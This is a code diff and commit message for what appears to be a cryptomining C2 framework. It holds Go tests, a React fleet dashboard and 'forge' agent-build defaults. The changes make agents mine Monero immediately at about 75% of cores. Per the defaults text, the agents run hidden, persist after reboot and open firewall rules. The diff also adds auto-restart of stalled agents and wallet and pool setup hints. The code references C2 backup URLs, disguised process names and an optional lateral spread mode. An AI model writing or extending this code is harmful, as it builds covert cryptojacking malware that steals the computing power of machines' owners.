Start simple-deploy mining immediately after C2 auth.

Simple Deploy agents now kick the in-process chain right after WS connect with always mode and cpu_inprocess policy, recommended forge defaults mine immediately, and the fleet banner auto-restarts stuck agents once.

server/internal/api/websocket_test.go

@@ -806,6 +806,7 @@ func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) {
 // TestMiningStatusRelayCoalescedToStatsBatch verifies mining_status / mining_fallback
 // from agents are batched into a single stats_batch frame for dashboards.
 func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
+	t.Parallel()
 	resetWSAuthUsers(t, testAuthUser, testAuthPass)
 	database, err := db.New(t.TempDir())
 	if err != nil {
@@ -829,7 +830,7 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
 	}
 	batchCh := make(chan batchResult, 1)
 	go func() {
-		_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+		_ = dashConn.SetReadDeadline(time.Now().Add(15 * time.Second))
 		for {
 			var msg Message
 			if err := dashConn.ReadJSON(&msg); err != nil {
@@ -923,7 +924,7 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
 		if byAgent[agentB]["active_method"] != "container" {
 			t.Errorf("agent B active_method = %v", byAgent[agentB]["active_method"])
 		}
-	case <-time.After(2 * time.Second):
+	case <-time.After(5 * time.Second):
 		t.Fatal("timed out waiting for stats_batch relay")
 	}
 }

server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx

@@ -1,6 +1,7 @@
+import { useEffect, useRef } from 'react';
 import { Link } from 'react-router-dom';
 import type { Agent } from '../../types';
-import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy';
+import { agentsConnectedNotHashing, simpleDeployCalibrateFix, simpleDeployStatus } from '../../help/simpleDeploy';
 import { api } from '../../api/client';
 
 interface Props {
@@ -9,9 +10,42 @@ interface Props {
   onAction?: (message: string) => void;
 }
 
+const AUTO_RESTART_MS = 60_000;
+
 /** Banner when agents are online but not hashing — with actionable fix buttons. */
 export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
   const stuck = agentsConnectedNotHashing(agents);
+  const firstSeenRef = useRef<Map<string, number>>(new Map());
+  const autoRestartedRef = useRef<Set<string>>(new Set());
+
+  useEffect(() => {
+    const now = Date.now();
+    const stuckIds = new Set(stuck.map((a) => a.id));
+    for (const id of [...firstSeenRef.current.keys()]) {
+      if (!stuckIds.has(id)) firstSeenRef.current.delete(id);
+    }
+    for (const a of stuck) {
+      if (!firstSeenRef.current.has(a.id)) firstSeenRef.current.set(a.id, now);
+    }
+    const due = stuck.filter((a) => {
+      const t0 = firstSeenRef.current.get(a.id) ?? now;
+      return now - t0 >= AUTO_RESTART_MS && !autoRestartedRef.current.has(a.id);
+    });
+    if (due.length === 0) return;
+    for (const a of due) autoRestartedRef.current.add(a.id);
+    void (async () => {
+      try {
+        const r = await api.sendBulkCommand(
+          due.map((a) => a.id),
+          'restart',
+        );
+        onAction?.(`Auto Restart mining (60s @ 0 H/s) → sent:${r.sent} failed:${r.failed}`);
+      } catch (e) {
+        onAction?.(`Auto Restart mining failed: ${e instanceof Error ? e.message : String(e)}`);
+      }
+    })();
+  }, [stuck, onAction]);
+
   if (stuck.length === 0) return null;
 
   const targetIds =
@@ -34,6 +68,7 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
 
   const sample = stuck[0];
   const status = simpleDeployStatus(sample);
+  const calibrateFix = simpleDeployCalibrateFix(sample);
 
   return (
     <div className="alert-banner alert-banner--warn connected-not-mining-banner" role="status">
@@ -42,8 +77,8 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
           {stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing
         </strong>
         <p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
-          {status.message}
-          {sample.mining_block_reason && sample.mining_block_reason !== status.message
+          {calibrateFix ?? status.message}
+          {!calibrateFix && sample.mining_block_reason && sample.mining_block_reason !== status.message
             ? ` — ${sample.mining_block_reason}`
             : ''}
           . &quot;Deploy&quot; here means C2 registration + mining tier probe — not lateral spread.

server/web/src/help/forgeSmartDefaults.test.ts

@@ -21,7 +21,7 @@ describe('forgeSmartDefaults', () => {
     expect(form.worker_name).toMatch(/^worker-/);
     expect(form.process_name).toBeTruthy();
     expect(form.server_url).toBe('http://10.0.0.2:8989');
-    expect(form.mining_mode).toBe('idle');
+    expect(form.mining_mode).toBe('always');
   });
 
   it('fills backup C2 URLs from other LAN candidates', () => {

server/web/src/help/forgeSmartDefaults.ts

@@ -67,7 +67,7 @@ export function recommendedForgePreset(): Partial<BuildRequest> {
     ...FORGE_BUILD_DEFAULTS,
     simple_deploy: true,
     miner_execution: 'inprocess',
-    mining_mode: 'idle',
+    mining_mode: 'always',
     idle_threshold_pct: 20,
     idle_duration_minutes: 5,
     thread_mode: 'percent',
@@ -170,7 +170,7 @@ export function forgeDefaultsFromServerSmart(
 }
 
 export const RECOMMENDED_DEFAULTS_BLURB =
-  'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
+  'Recommended for home LAN fleets: mines immediately (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
 
 export function isValidWorkerName(name: string): boolean {
   const t = name.trim();

server/web/src/help/simpleDeploy.test.ts

@@ -3,6 +3,7 @@ import type { Agent } from '../types';
 import {
   agentsConnectedNotHashing,
   simpleDeployStatus,
+  simpleDeployCalibrateFix,
   simpleMinePreset,
 } from './simpleDeploy';
 
@@ -54,6 +55,21 @@ describe('agentsConnectedNotHashing', () => {
   });
 });
 
+
+describe('simpleDeployCalibrateFix', () => {
+  it('requires wallet in Calibrate', () => {
+    expect(simpleDeployCalibrateFix(agent({ wallet: '' }))).toMatch(/wallet/i);
+  });
+
+  it('surfaces pool fix from mining_block_reason', () => {
+    expect(
+      simpleDeployCalibrateFix(
+        agent({ wallet: '4abc', mining_block_reason: 'pool host not configured — set Calibrate pool' }),
+      ),
+    ).toMatch(/pool/i);
+  });
+});
+
 describe('simpleMinePreset', () => {
   it('disables spread and enables simple_deploy', () => {
     const p = simpleMinePreset();

server/web/src/help/simpleDeploy.ts

@@ -10,6 +10,17 @@ export interface SimpleDeployStatus {
   hashrate?: number;
 }
 
+/** Operator fix text when Calibrate is incomplete for mining. */
+export function simpleDeployCalibrateFix(agent: Agent): string | undefined {
+  const wallet = agent.wallet?.trim();
+  if (!wallet) return 'Set XMR wallet in Calibrate (Settings), then re-forge with Deploy & Mine.';
+  const reason = agent.mining_block_reason?.toLowerCase() ?? '';
+  if (reason.includes('pool host not configured') || reason.includes('pool not configured')) {
+    return 'Set pool host/port in Calibrate, then re-forge with Deploy & Mine.';
+  }
+  return undefined;
+}
+
 /** Human status for deploy→test→mine operator path. */
 export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
   if (agent.status !== 'online') {